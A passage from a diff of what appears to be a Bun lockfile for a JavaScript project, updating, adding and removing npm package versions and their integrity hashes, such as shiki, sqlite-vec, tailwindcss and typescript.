"@img/sharp-libvips-linuxmusl-x64": "1.3.4", "@img/sharp-linux-arm": "0.35.5", "@img/sharp-linux-arm64": "0.35.5", "@img/sharp-linux-ppc64": "0.35.5", "@img/sharp-linux-riscv64": "0.35.5", "@img/sharp-linux-s390x": "0.35.5", "@img/sharp-linux-x64": "0.35.5", "@img/sharp-linuxmusl-arm64": "0.35.5", "@img/sharp-linuxmusl-x64": "0.35.5", "@img/sharp-webcontainers-wasm32": "0.35.5", "@img/sharp-win32-arm64": "0.35.5", "@img/sharp-win32-ia32": "0.35.5", "@img/sharp-win32-x64": "0.35.5" } }, "sha512-Ywn4OnzGukp7CDMrp08RQ50YKmuwG47brZgIVPTvBaaAfQlRlygrRqSrxdCiL9M+LlzLBiJ68IR1QqvzHyjC7g=="], "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], - "shell-quote": ["shell-quote@1.8.3", "", {}, "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="], + "shell-quote": ["shell-quote@1.9.0", "", {}, "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA=="], - "shiki": ["shiki@3.23.0", "", { "dependencies": { "@shikijs/core": "3.23.0", "@shikijs/engine-javascript": "3.23.0", "@shikijs/engine-oniguruma": "3.23.0", "@shikijs/langs": "3.23.0", "@shikijs/themes": "3.23.0", "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-55Dj73uq9ZXL5zyeRPzHQsK7Nbyt6Y10k5s7OjuFZGMhpp4r/rsLBH0o/0fstIzX1Lep9VxefWljK/SKCzygIA=="], + "shiki": ["shiki@4.5.0", "", { "dependencies": { "@shikijs/core": "4.5.0", "@shikijs/engine-javascript": "4.5.0", "@shikijs/engine-oniguruma": "4.5.0", "@shikijs/langs": "4.5.0", "@shikijs/themes": "4.5.0", "@shikijs/types": "4.5.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.5" } }, "sha512-OcRW72ngQvc+MSVWBRIovC/BTW589iUE/Vxav7VeM4RcY9MUjqB+IR6ILG1k9nuW6LiG/nct9uma4/MBtnZbmQ=="], "side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="], @@ -2187,13 +2051,9 @@ "sileo": ["sileo@0.1.5", "", { "dependencies": { "motion": "^12.34.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" } }, "sha512-Fc/3VNFWgQlZttkyvAdnPlzWrLTaii6FIas7nMivlx3uGuKpuNNRZGtSgNRFqTHFn70ZxEjKYxsBIO0nQlDGAg=="], - "simple-concat": ["simple-concat@1.0.1", "", {}, "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q=="], - - "simple-get": ["simple-get@4.0.1", "", { "dependencies": { "decompress-response": "^6.0.0", "once": "^1.3.1", "simple-concat": "^1.0.0" } }, "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA=="], - "simple-update-notifier": ["simple-update-notifier@2.0.0", "", { "dependencies": { "semver": "^7.5.3" } }, "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w=="], - "slice-ansi": ["slice-ansi@8.0.0", "", { "dependencies": { "ansi-styles": "^6.2.3", "is-fullwidth-code-point": "^5.1.0" } }, "sha512-stxByr12oeeOyY2BlviTNQlYV5xOj47GirPr4yA1hE9JCtxfQN0+tVbkxwCtYDQWhEKWFHsEK48ORg5jrouCAg=="], + "slice-ansi": ["slice-ansi@3.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" } }, "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ=="], "smart-buffer": ["smart-buffer@4.2.0", "", {}, "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg=="], @@ -2203,7 +2063,7 @@ "source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="], - "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], + "source-map-js": ["source-map-js@1.2.2", "", {}, "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw=="], "source-map-support": ["source-map-support@0.5.21", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w=="], @@ -2215,27 +2075,31 @@ "sprintf-js": ["sprintf-js@1.0.3", "", {}, "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="], - "sql-escaper": ["sql-escaper@1.3.3", "", {}, "sha512-BsTCV265VpTp8tm1wyIm1xqQCS+Q9NHx2Sr+WcnUrgLrQ6yiDIvHYJV5gHxsj1lMBy2zm5twLaZao8Jd+S8JJw=="], + "sql-escaper": ["sql-escaper@1.5.2", "", {}, "sha512-6CKD38c31SENivxOADeMNLdukOnUxUcflKtzVWzace7Riv1v7cAEym5Cx9Q7gYZ3ezIJI7ZpqecQq8cqNeSSFg=="], - "sqlite-vec": ["sqlite-vec@0.1.7-alpha.2", "", { "optionalDependencies": { "sqlite-vec-darwin-arm64": "0.1.7-alpha.2", "sqlite-vec-darwin-x64": "0.1.7-alpha.2", "sqlite-vec-linux-arm64": "0.1.7-alpha.2", "sqlite-vec-linux-x64": "0.1.7-alpha.2", "sqlite-vec-windows-x64": "0.1.7-alpha.2" } }, "sha512-rNgRCv+4V4Ed3yc33Qr+nNmjhtrMnnHzXfLVPeGb28Dx5mmDL3Ngw/Wk8vhCGjj76+oC6gnkmMG8y73BZWGBwQ=="], + "sqlite-vec": ["sqlite-vec@0.1.9", "", { "optionalDependencies": { "sqlite-vec-darwin-arm64": "0.1.9", "sqlite-vec-darwin-x64": "0.1.9", "sqlite-vec-linux-arm64": "0.1.9", "sqlite-vec-linux-x64": "0.1.9", "sqlite-vec-windows-x64": "0.1.9" } }, "sha512-L7XJWRIBNvR9O5+vh1FQ+IGkh/3D2AzVksW5gdtk28m78Hy8skFD0pqReKH1Yp0/BUKRGcffgKvyO/EON5JXpA=="], - "sqlite-vec-darwin-arm64": ["sqlite-vec-darwin-arm64@0.1.7-alpha.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-raIATOqFYkeCHhb/t3r7W7Cf2lVYdf4J3ogJ6GFc8PQEgHCPEsi+bYnm2JT84MzLfTlSTIdxr4/NKv+zF7oLPw=="], + "sqlite-vec-darwin-arm64": ["sqlite-vec-darwin-arm64@0.1.9", "", { "os": "darwin", "cpu": "arm64" }, "sha512-jSsZpE42OfBkGL/ItyJTVCUwl6o6Ka3U5rc4j+UBDIQzC1ulSSKMEhQLthsOnF/MdAf1MuAkYhkdKmmcjaIZQg=="], - "sqlite-vec-darwin-x64": ["sqlite-vec-darwin-x64@0.1.7-alpha.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-jeZEELsQjjRsVojsvU5iKxOvkaVuE+JYC8Y4Ma8U45aAERrDYmqZoHvgSG7cg1PXL3bMlumFTAmHynf1y4pOzA=="], + "sqlite-vec-darwin-x64": ["sqlite-vec-darwin-x64@0.1.9", "", { "os": "darwin", "cpu": "x64" }, "sha512-KDlVyqQT7pnOhU1ymB9gs7dMbSoVmKHitT+k1/xkjarcX8bBqPxWrGlK/R+C5WmWkfvWwyq5FfXfiBYCBs6PlA=="], - "sqlite-vec-linux-arm64": ["sqlite-vec-linux-arm64@0.1.7-alpha.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-6Spj4Nfi7tG13jsUG+W7jnT0bCTWbyPImu2M8nWp20fNrd1SZ4g3CSlDAK8GBdavX7wRlbBHCZ+BDa++rbDewA=="], + "sqlite-vec-linux-arm64": ["sqlite-vec-linux-arm64@0.1.9", "", { "os": "linux", "cpu": "arm64" }, "sha512-5wXVJ9c9kR4CHm/wVqXb/R+XUHTdpZ4nWbPHlS+gc9qQFVHs92Km4bPnCKX4rtcPMzvNis+SIzMJR1SCEwpuUw=="], - "sqlite-vec-linux-x64": ["sqlite-vec-linux-x64@0.1.7-alpha.2", "", { "os": "linux", "cpu": "x64" }, "sha512-IcgrbHaDccTVhXDf8Orwdc2+hgDLAFORl6OBUhcvlmwswwBP1hqBTSEhovClG4NItwTOBNgpwOoQ7Qp3VDPWLg=="], + "sqlite-vec-linux-x64": ["sqlite-vec-linux-x64@0.1.9", "", { "os": "linux", "cpu": "x64" }, "sha512-w3tCH8xK2finW8fQJ/m8uqKodXUZ9KAuAar2UIhz4BHILfpE0WM/MTGCRfa7RjYbrYim5Luk3guvMOGI7T7JQA=="], - "sqlite-vec-windows-x64": ["sqlite-vec-windows-x64@0.1.7-alpha.2", "", { "os": "win32", "cpu": "x64" }, "sha512-TRP6hTjAcwvQ6xpCZvjP00pdlda8J38ArFy1lMYhtQWXiIBmWnhMaMbq4kaeCYwvTTddfidatRS+TJrwIKB/oQ=="], + "sqlite-vec-windows-x64": ["sqlite-vec-windows-x64@0.1.9", "", { "os": "win32", "cpu": "x64" }, "sha512-y3gEIyy/17bq2QFPQOWLE68TYWcRZkBQVA2XLrTPHNTOp55xJi/BBBmOm40tVMDMjtP+Elpk6UBUXdaq+46b0Q=="], "ssri": ["ssri@12.0.0", "", { "dependencies": { "minipass": "^7.0.3" } }, "sha512-S7iGNosepx9RadX82oimUkvr0Ct7IjJbEbs4mJcTxst8um95J3sDYU1RBEOvdu6oL1Wek2ODI5i4MAw+dZ6cAQ=="], + "standardwebhooks": ["standardwebhooks@1.1.1", "", { "dependencies": { "@stablelib/base64": "^1.0.0", "fast-sha256": "^1.3.0" } }, "sha512-bCbX9ZEyFkWPsRz7Bl3NuQUJohmwGSev/yhr7vhaGPlc4AfIrspIRa6cPTBuI1ItmrTDJ4d/S2hCsfe4+vQGnQ=="], + "stat-mode": ["stat-mode@1.0.0", "", {}, "sha512-jH9EhtKIjuXZ2cWxmXS8ZP80XyC3iasQxMDV8jzhNJpfDb7VbQLVW4Wvsxz9QZvzV+G4YoSfBUVKDOyxLzi/sg=="], + "statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="], + "string-argv": ["string-argv@0.3.2", "", {}, "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q=="], - "string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + "string-width": ["string-width@8.3.0", "", { "dependencies": { "get-east-asian-width": "^1.5.0", "strip-ansi": "^7.1.2" } }, "sha512-ZbmZM0JCihQN91dWnxoipT2KOEyHqEyfRXUyjuRhW8b/xnqPDoq4gWEVApTVa9db2wN8mmoikgFBbjh71+cGeQ=="], "string-width-cjs": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], @@ -2243,12 +2107,10 @@ "stringify-entities": ["stringify-entities@4.0.4", "", { "dependencies": { "character-entities-html4": "^2.0.0", "character-entities-legacy": "^3.0.0" } }, "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg=="], - "strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + "strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], "strip-ansi-cjs": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], - "strip-json-comments": ["strip-json-comments@2.0.1", "", {}, "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ=="], - "strtok3": ["strtok3@10.3.5", "", { "dependencies": { "@tokenizer/token": "^0.3.0" } }, "sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA=="], "style-to-js": ["style-to-js@1.1.21", "", { "dependencies": { "style-to-object": "1.0.14" } }, "sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ=="], @@ -2261,24 +2123,20 @@ "superjson": ["superjson@2.2.6", "", { "dependencies": { "copy-anything": "^4" } }, "sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA=="], - "supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="], + "supports-color": ["supports-color@10.2.2", "", {}, "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g=="], "swr": ["swr@2.4.1", "", { "dependencies": { "dequal": "^2.0.3", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-2CC6CiKQtEwaEeNiqWTAw9PGykW8SR5zZX8MZk6TeAvEAnVS7Visz8WzphqgtQ8v2xz/4Q5K+j+SeMaKXeeQIA=="], - "tailwind-merge": ["tailwind-merge@3.4.0", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="], + "tailwind-merge": ["tailwind-merge@2.6.1", "", {}, "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ=="], - "tailwind-variants": ["tailwind-variants@3.2.2", "", { "peerDependencies": { "tailwind-merge": ">=3.0.0", "tailwindcss": "*" }, "optionalPeers": ["tailwind-merge"] }, "sha512-Mi4kHeMTLvKlM98XPnK+7HoBPmf4gygdFmqQPaDivc3DpYS6aIY6KiG/PgThrGvii5YZJqRsPz0aPyhoFzmZgg=="], + "tailwind-variants": ["tailwind-variants@3.3.1", "", { "peerDependencies": { "tailwind-merge": ">=3.0.0", "tailwindcss": "*" }, "optionalPeers": ["tailwind-merge", "tailwindcss"] }, "sha512-4pAvwUtM4HKBiRZftncAbpn6V9Hhwoa5Fl7O2u5zbp7Z5Cvu+/o/6+176WY3WCEES209543quG8zFIcXCsc5Jw=="], - "tailwindcss": ["tailwindcss@4.2.1", "", {}, "sha512-/tBrSQ36vCleJkAOsy9kbNTgaxvGbyOamC30PRePTQe/o1MFwEKHQk4Cn7BNGaPtjp+PuUrByJehM1hgxfq4sw=="], + "tailwindcss": ["tailwindcss@4.3.3", "", {}, "sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ=="], - "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], + "tapable": ["tapable@2.3.3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="], "tar": ["tar@7.5.10", "", { "dependencies": { "@isaacs/fs-minipass": "^4.0.0", "chownr": "^3.0.0", "minipass": "^7.1.2", "minizlib": "^3.1.0", "yallist": "^5.0.0" } }, "sha512-8mOPs1//5q/rlkNSPcCegA6hiHJYDmSLEI8aMH/CdSQJNWztHC9WHNam5zdQlfpTwB9Xp7IBEsHfV5LKMJGVAw=="], - "tar-fs": ["tar-fs@2.1.4", "", { "dependencies": { "chownr": "^1.1.1", "mkdirp-classic": "^0.5.2", "pump": "^3.0.0", "tar-stream": "^2.1.4" } }, "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ=="], - - "tar-stream": ["tar-stream@2.2.0", "", { "dependencies": { "bl": "^4.0.3", "end-of-stream": "^1.4.1", "fs-constants": "^1.0.0", "inherits": "^2.0.3", "readable-stream": "^3.1.1" } }, "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ=="], - "temp": ["temp@0.9.4", "", { "dependencies": { "mkdirp": "^0.5.1", "rimraf": "~2.6.2" } }, "sha512-yYrrsWnrXMcdsnu/7YMYAofM1ktpL5By7vZhf15CrXijWWrEYZks5AXBudalfSWJLlnen/QUJUB5aoB0kqZUGA=="], "temp-file": ["temp-file@3.4.0", "", { "dependencies": { "async-exit-hook": "^2.0.1", "fs-extra": "^10.0.0" } }, "sha512-C5tjlC/HCtVUOi3KWVokd4vHVViOmGjtLwIh4MuzPo/nMYTV/p1urt3RnMz2IWXDdKEGJH3k5+KPxtqRsUYGtg=="], @@ -2301,6 +2159,8 @@ "tmp-promise": ["tmp-promise@3.0.3", "", { "dependencies": { "tmp": "^0.2.0" } }, "sha512-RwM7MoPojPxsOBYnyd2hy0bxtIlVrihNs9pj5SUvY8Zz1sQcQG2tG1hSr8PDxfgEB8RNKDhqbIlroIarSNDNsQ=="], + "toidentifier": ["toidentifier@1.0.1", "", {}, "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="], + "token-types": ["token-types@6.1.2", "", { "dependencies": { "@borewit/text-codec": "^0.2.1", "@tokenizer/token": "^0.3.0", "ieee754": "^1.2.1" } }, "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww=="], "tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="], @@ -2313,27 +2173,31 @@ "truncate-utf8-bytes": ["truncate-utf8-bytes@1.0.2", "", { "dependencies": { "utf8-byte-length": "^1.0.1" } }, "sha512-95Pu1QXQvruGEhv62XCMO3Mm90GscOCClvrIUwCM0PYOXK3kaF3l3sIHxx71ThJfcbM2O5Au6SO3AWCSEfW4mQ=="], + "ts-algebra": ["ts-algebra@2.0.0", "", {}, "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw=="], + "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], - "tunnel-agent": ["tunnel-agent@0.6.0", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w=="], + "tsx": ["tsx@4.23.15", "", { "dependencies": { "esbuild": "~0.28.0" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "bin": { "tsx": "dist/cli.mjs" } }, "sha512-Yiex1Ovn8z2xPpOWckIiysV1SSyRMY9BkLF++q0yKiDxCqRhosKfMg3janKkiLBwZ5c/YryloKwGZcrEmtwxKw=="], - "turndown": ["turndown@7.2.2", "", { "dependencies": { "@mixmark-io/domino": "^2.2.0" } }, "sha512-1F7db8BiExOKxjSMU2b7if62D/XOyQyZbPKq/nUwopfgnHlqXHqQ0lvfUTeUIr1lZJzOPFn43dODyMSIfvWRKQ=="], + "turndown": ["turndown@7.2.4", "", { "dependencies": { "@mixmark-io/domino": "^2.2.0" } }, "sha512-I8yFsfRzmzK0WV1pNNOA4A7y4RDfFxPRxb3t+e3ui14qSGOxGtiSP6GjeX+Y6CHb7HYaFj7ECUD7VE5kQMZWGQ=="], "tw-animate-css": ["tw-animate-css@1.4.0", "", {}, "sha512-7bziOlRqH0hJx80h/3mbicLW7o8qLsH5+RaLR2t+OHM3D0JlWGODQKQ4cxbK7WlvmUxpcj6Kgu6EKqjrGFe3QQ=="], "type-fest": ["type-fest@0.13.1", "", {}, "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg=="], - "typedarray": ["typedarray@0.0.6", "", {}, "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA=="], + "type-is": ["type-is@2.1.0", "", { "dependencies": { "content-type": "^2.0.0", "media-typer": "^1.1.0", "mime-types": "^3.0.0" } }, "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA=="], - "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], + "typedarray": ["typedarray@0.0.6", "", {}, "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA=="], - "uc.micro": ["uc.micro@2.1.0", "", {}, "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A=="], + "typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="], "uint8array-extras": ["uint8array-extras@1.5.0", "", {}, "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A=="], "underscore": ["underscore@1.13.8", "", {}, "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ=="], - "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "undici": ["undici@7.30.0", "", {}, "sha512-dkrQXeHSaoamnItlYbmzG0wFYrM0ZwDxCIg0A7aKjTyyhh9svRzCNFEzV+Vm05/yehjCzjDZ31KXfGEjYSztDQ=="], + + "undici-types": ["undici-types@7.24.6", "", {}, "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg=="], "unified": ["unified@11.0.5", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="], @@ -2341,8 +2205,6 @@ "unique-slug": ["unique-slug@5.0.0", "", { "dependencies": { "imurmurhash": "^0.1.4" } }, "sha512-9OdaqO5kwqR+1kVgHAhsp5vPNU0hnxRa26rBFNfNgM7M6pNtgzeBn3s/xbyCQL3dcjzOatcef6UUHpB/6MaETg=="], - "unist-util-find-after": ["unist-util-find-after@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0" } }, "sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ=="], - "unist-util-is": ["unist-util-is@6.0.1", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g=="], "unist-util-position": ["unist-util-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA=="], @@ -2357,6 +2219,8 @@ "universalify": ["universalify@2.0.1", "", {}, "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw=="], + "unpipe": ["unpipe@1.0.0", "", {}, "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="], + "unzipper": ["unzipper@0.12.3", "", { "dependencies": { "bluebird": "~3.7.2", "duplexer2": "~0.1.4", "fs-extra": "^11.2.0", "graceful-fs": "^4.2.2", "node-int64": "^0.4.0" } }, "sha512-PZ8hTS+AqcGxsaQntl3IRBw65QrBI6lxzqDEL7IAo/XCEqRTKGfOX56Vea5TH9SZczRVxuzk1re04z/YjuYCJA=="], "uri-js": ["uri-js@4.4.1", "", { "dependencies": { "punycode": "^2.1.0" } }, 